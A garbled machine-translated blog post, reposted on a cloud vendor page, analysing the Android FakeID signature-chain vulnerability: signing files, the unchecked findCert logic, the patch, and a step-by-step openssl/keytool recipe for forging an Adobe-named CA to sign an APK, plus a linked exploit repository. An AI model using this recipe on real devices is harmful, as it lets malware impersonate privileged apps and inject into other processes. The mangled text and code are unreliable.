Android Fakeid (Google Bug 13678484) Vulnerability detailed

Source: Internet
Author: User
Tags openssl x509 pkcs7 sha1 csr certificate

Begin

Following the last Masterkey vulnerability, Bluebox released a bug--fakeid on the apk signature on July 30, 2014, and intends to announce more detailed details on this year's blackhack, but the author Jeff Forristal has given a lot of hints in the text, in addition Shendi "Fakeid signature loophole analysis and utilization" also made a related introduction. Because of the number of knowledge points involved, so some of the friends have not yet seen the understanding, so I intend to write a more detailed analysis of the vulnerability.


Before the basic concept is analyzed, there are several basic concepts that need to be popularized:
In the APK package, the MF, SF, and RSA files are signed in the APK package, there will be a folder called Meta-inf, in general, will contain MANIFEST.MF, CERT. SF and Cert.rsa three files (in the case of multiple certificate signatures, there is more than one RSA file):
    • The MF file contains the package information for the APK, such as the version of the manifest file, the signature version, the associated properties of the application, and the SHA1 value of all the source files in the package.
    • The SF file is based on the MF file and uses the SHA1WITHRSA signature algorithm to sign the private key.
    • RSA file is an APK file signing certificate, this file is a PEM format saved PKCS7 Public key certificate, PKCS7 certificate will generally separate two files, one is a public key certificate, the other is a private key certificate, PEM and Der Two encoding methods. PEM is a common form of pure files and is commonly used to distribute public key certificates; der is binary encoded and less used.
This RSA file is the key to Fakeid exploit, which is described in detail below.
Certificate chain structure and principle of authentication in general, the Android apps that we release are usually self-signed, so-called self-signed means that the issuer (publisher) and subject (owner) are the same in the public key certificate, such as Adobe Flash The player's signature information is as follows:
Owner: Cn=adobe Systems Incorporated, Ou=information Systems, O=adobe Systems Incorporated, L=san Jose, St=california, C=us By: Cn=adobe Systems Incorporated, Ou=information Systems, O=adobe Systems Incorporated, L=san Jose, St=california, c=us sequence Number: d7cb412f75f4887e validity start Date: Thu Oct 08:23:14 CST 2009, due Date: Mon Feb 08:23:14 CST 2037
In addition to self-signed, we can also use a CA to issue a private key certificate. In this way, the certificate chain is included in the public key certificate in the final apk. The main difference between this method and the signature name is that the final public key certificate, issuer and subject are not the same, and there will be more than one certificate, the certificate is associated with the certificate through issuer and subject, issuer is responsible for the subject certification, The following is the validation of the certificate chain:

It is a recursive process to determine whether a certificate chain is valid, and the following is a validation of a level three certificate:

Android apk legitimacy Verification when the APK is non-signed, there is a certificate chain in the APK, when installing the APK, the system will only be in the chain at the bottom of the chain of the certificate to verify the validity and integrity of the APK file, but does not validate the validity of the certificate chain. Imagine a situation like this:
    • A root certificate (recorded as a CA) is generated on the development machine, and the certificate is used to issue a sub-certificate (credited as client);
    • Using this sub-certificate to sign the APK, the RSA file in the APK will contain two certificates, namely client and CA, where the system will use the client to test the APK file;
    • As a result of tampering with this RSA file, the CA modified to Adobe Flash player (as Fakeca). Since the system will only not validate the validity of the certificate chain, the modified APK will still be installed properly.
On Android, to get the APK certificate, you can get it through Packagemanager.getpackageinfo, as follows:
<span style= "White-space:pre" ></span> <span style= "White-space:pre" ></span>packagemanager PM = Getpackagemanager (); StringBuilder sb = new StringBuilder (); try {packageinfo info = pm.getpackageinfo (Getpackagename (), packagemanager.get_ SIGNATURES); signature[] sigs = info.signatures;for (Signature sig:sigs) {/* * Get the *. Certificate. */final byte[] Rawcert = si G.tobytearray (); InputStream certstream = new Bytearrayinputstream (Rawcert); final certificatefactory certFactory; Final X509Certificate x509cert;try {certfactory = certificatefactory.getinstance ("X509"); X509cert = (X509Certificate) Certfactory.generatecertificate (Certstream); Sb.append ("Certificate Subject:" + X509CERT.GETSUBJECTDN () + "\ n"); Sb.append ("Certificate issuer:" + x509cert.getissuerdn () + "\ n"); Sb.append ("Certificate serial number:" + x509cert.gets Erialnumber () + "\ n"); Sb.append ("\ n");} catch (Certificateexception e) {//E.printstacktrace ();}}} catch (Namenotfoundexception e) {E.printstacKtrace ();} 

By the way above, you can achieve the effect of getting apk to be officially certified by Adobe Flash Player, as below is a FAKECA demo of my own, printed as shown in the code above:
Certificate subject:cn= simple trip, ou= Tour, o= trip, l= Hangzhou, st= Zhejiang, c=chcertificate issuer:cn=adobe Systems Incorporated, Ou=inform ation Systems, O=adobe Systems Incorporated, L=san Jose, St=california, c=uscertificate serial number:137325295923664779 09Certificate Subject:cn=adobe Systems Incorporated, Ou=information Systems, O=adobe Systems Incorporated, L=san Jose, ST =california, C=uscertificate issuer:cn=adobe Systems Incorporated, Ou=information Systems, O=adobe Systems Incorporated , L=san Jose, St=california, c=uscertificate serial number:15549593810524997758
See here, believe that some friends have a second understand, then the contents of the following can not be looked at, if there is doubt, then please be patient and look down.

Vulnerability Analysis
The privileged signature on Android abode Flash Player is that Android is present in a webviewplugin way, all applications that use WebView controls, and the Web page will load the plugin whenever it uses flash. The following is a valid judgment code that verifies whether a plug-in is a abode Flash playter plugin:
private static Boolean containspluginpermissionandsignatures (PackageInfo pkgInfo) {//check if the plugin has the requ    ired permissions String permissions[] = pkginfo.requestedpermissions;    if (permissions = = null) {return false;    } Boolean Permissionok = false;            for (String permit:permissions) {if (Plugin_permission.equals (permit)) {Permissionok = true;        Break    }} if (!permissionok) {return false;    }//Check to ensure the plugin is properly signed Signature signatures[] = pkginfo.signatures;    if (signatures = = null) {return false;        } if (Systemproperties.getboolean ("Ro.secure", False)) {Boolean signaturematch = false; for (Signature signature:signatures) {for (int i = 0; i < signatures.length; i++) {if (SI                    Gnatures[i].equals (signature)) {Signaturematch = true;                Break     }            }   } if (!signaturematch) {return false; }} return true;
From this code, you can see that WebKit is authenticating an apk as an Adobe Flashplayer plugin:
    1. If the APK certificate contains Adobe signed certificates, the certificate data is written dead in the Code (PLUGINMANAGER.SIGNATURE_1), which is the signature that Adobe uses
    2. APK has requested Android.webkit.permission.PLUGIN permissions
    3. The APK declares a service, intent is Android.webkit.PLUGIN, and there is a meta message that the value of Type,type must be native.
Through the previous introduction, the most critical 1th, we have achieved. Understanding the WebView plug-in development pattern is clearer, webplugin is directly loaded into the target process in a shared process, which results in process injection. For example, open a webview loading flash plugin, through the Fakeid loophole, can completely steal all the data, so the vulnerability is still very large. In addition to abode this hardcode signature, there are other similar privileged signatures in the Android system, where I refer directly to the original text of Bluebox:
"In another example, the application and the signature specified by the device ' s Nfc_access.xml file (usually the Signatu Re of the Google Wallet application) is allowed to access the NFC SE hardware. Both of these special signature privileges is hard coded into the Android base code (AOSP). On specific devices, applications with the signature of the device manufacture, or trusted third parties, is allowed to a Ccess The Vendor-specific Device Administration (MDM) extensions that allow for silent management, configuration, and cont Rol of the device. "

Multi-signature authentication to maximize the Fakeid vulnerability, we can sign multiple certificates for the same apk, as mentioned earlier. In this case, multiple RSA files are acquired under the Meta-inf folder. In this way, we can reach an apk with Adobe plugin privileges, NFC sed hardware control privileges, and so on, as follows:

The root cause of vulnerability analysis is the Fakeid vulnerability because the system does not validate the certificate chain when installing the APK, and the following is an analysis of the vulnerable code. See Jarutils in the Createchain and Findcert two methods, the role of Createchain is to get the APK in the certificate chain, Findcert is through the sub-certificate Issur, look for the parent certificate, the problem is exactly in this method. See Code:
private static X509Certificate Findcert (Principal issuer, x509certificate[] candidates) {for    (int i = 0; I < Candi Dates.length; i++) {        if (<span style= "color: #ff0000;" >issuer.equals (Candidates[i].getsubjectdn ()) </span>) {            return candidates[i];        }    }    return null;}

Pay attention to the judgment logic in the code, as long as the issuer with the traversal of the CANDIDATES[I].GETSUBJECTDN () is equal, the equal is simply to do a string comparison, directly think of this legitimate certificate, and returned. Then look at the fix code:
private static X509Certificate Findcert (Principal issuer, x509certificate[] candidates,<span style= "color: #ff0000;" > X509Certificate subjectcert</span>, <span style= "color: #ff0000;" >boolean chaincheck</span>) {for    (int i = 0; i < candidates.length; i++) {        if (issuer.equals (candidat Es[i].getsubjectdn ())) {            if (chaincheck) {                try {                   <span style= "color: #ff0000;" > subjectcert.verify (Candidates[i].getpublickey ()) </span>;                } catch (Exception e) {                    continue;                }            }            return candidates[i];        }    }    return null;}
After the fix code, add the Subjectcert and Chaincheck two parameters and add the certificate chain validation.

Exploit through the previous analysis, this loophole is not difficult to use, but involved in the command is more complex, I will describe the whole process, so that we can learn.
Self-issued CA rights certificate
    • OpenSSL genrsa-out ca.key 4096
    • OpenSSL req-new-x509-days 1826-key ca.key-out ca.crt
In the generated CRT file, you need to be aware that you must ensure that the field is consistent with Abobe, here is my example:
You is about to being asked to enter information that'll be incorporatedinto your certificate request. What's about-to-enter is called a distinguished Name or a DN. There is quite a few fields but can leave some blankfor some fields there would be a default value,if you enter '. ', t He field would be a left blank.-----Country Name (2 letter code) [Au]:usstate or province name (full name) [Some-state]:calif Ornialocality name (eg, city) []:san joseorganization name (eg, company) [Internet widgits Pty ltd]:adobe Systems Incorpor Atedorganizational Unit name (eg, section) []:information Systemscommon name (e.g. server FQDN or YOUR Name) []:adobe Syst EMS Incorporatedemail Address []:

Generate KeyStore
    • Keytool-genkey-v-keystore clientkeystore-alias client-keyalg rsa-keysize 2048-validity 10000
You can fill it out here by yourself, here's my example:
Enter KeyStore Password: Enter the new password again: What is your first and last name?  [Unknown]:  Jane Line What is your organizational unit name?  [Unknown]:  What is your organization name for a trip?  [Unknown]:  What is the name of the city or region in which you are travelling?  [Unknown]:  Hangzhou What is your state/province name?  [Unknown]:  What is the two-letter country code for this unit in Zhejiang?  [Unknown]:  chcn= simple line, ou= trip, o= trip, l= Hangzhou, st= Zhejiang, c=ch is correct?  [No]:  y enter <client> key password (if same as KeyStore password, press ENTER):
Generate a CSR certificate request file
    • Keytool-keystore clientkeystore-certreq-keysize 2048-alias client-keyalg rsa-file CLIENT.CSR
It is necessary to explicitly specify KeySize as 2048, otherwise the signature may be incompatible with RSA.
Issuing a client with a CA
    • OpenSSL x509-req-ca ca.crt-cakey ca.key-in client.csr-out client.cer-days 10000-cacreateserial

Import CA root certificate and client level two certificate
    • Keytool-import-keystore Clientkeystore-file Ca.crt-alias CA
    • Keytool-import-keystore clientkeystore-file Client.cer-alias Client

Using the client to sign the APK file
    • Jarsigner-keystore clientkeystore-sigalg sha1withrsa-digestalg SHA1 test.apk CLIENT

Finally, I use the script I wrote to complete the Fakeca modification.
    • ./fake_ca.sh
    • ADB install out/test.apk
Related code that I have submitted to Https://github.com/boyliang/Android_FakeID_Exploit
Summing up on how to use Fakeid vulnerability to implement code injection, I think Shendi's report, has been introduced in detail, I do not do more introduction. Fake is very harmful, from Android2.1 to 4.4.1 are affected, the next period of time, the letter will appear a large number of Trojan horse to exploit this loophole. Compared to masterkey vulnerabilities, Fakeid exploits are easier to exploit and "system Compatibility" is better. Of course to scan out this kind of Trojan is not difficult, through the code to verify the certificate chain on it.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.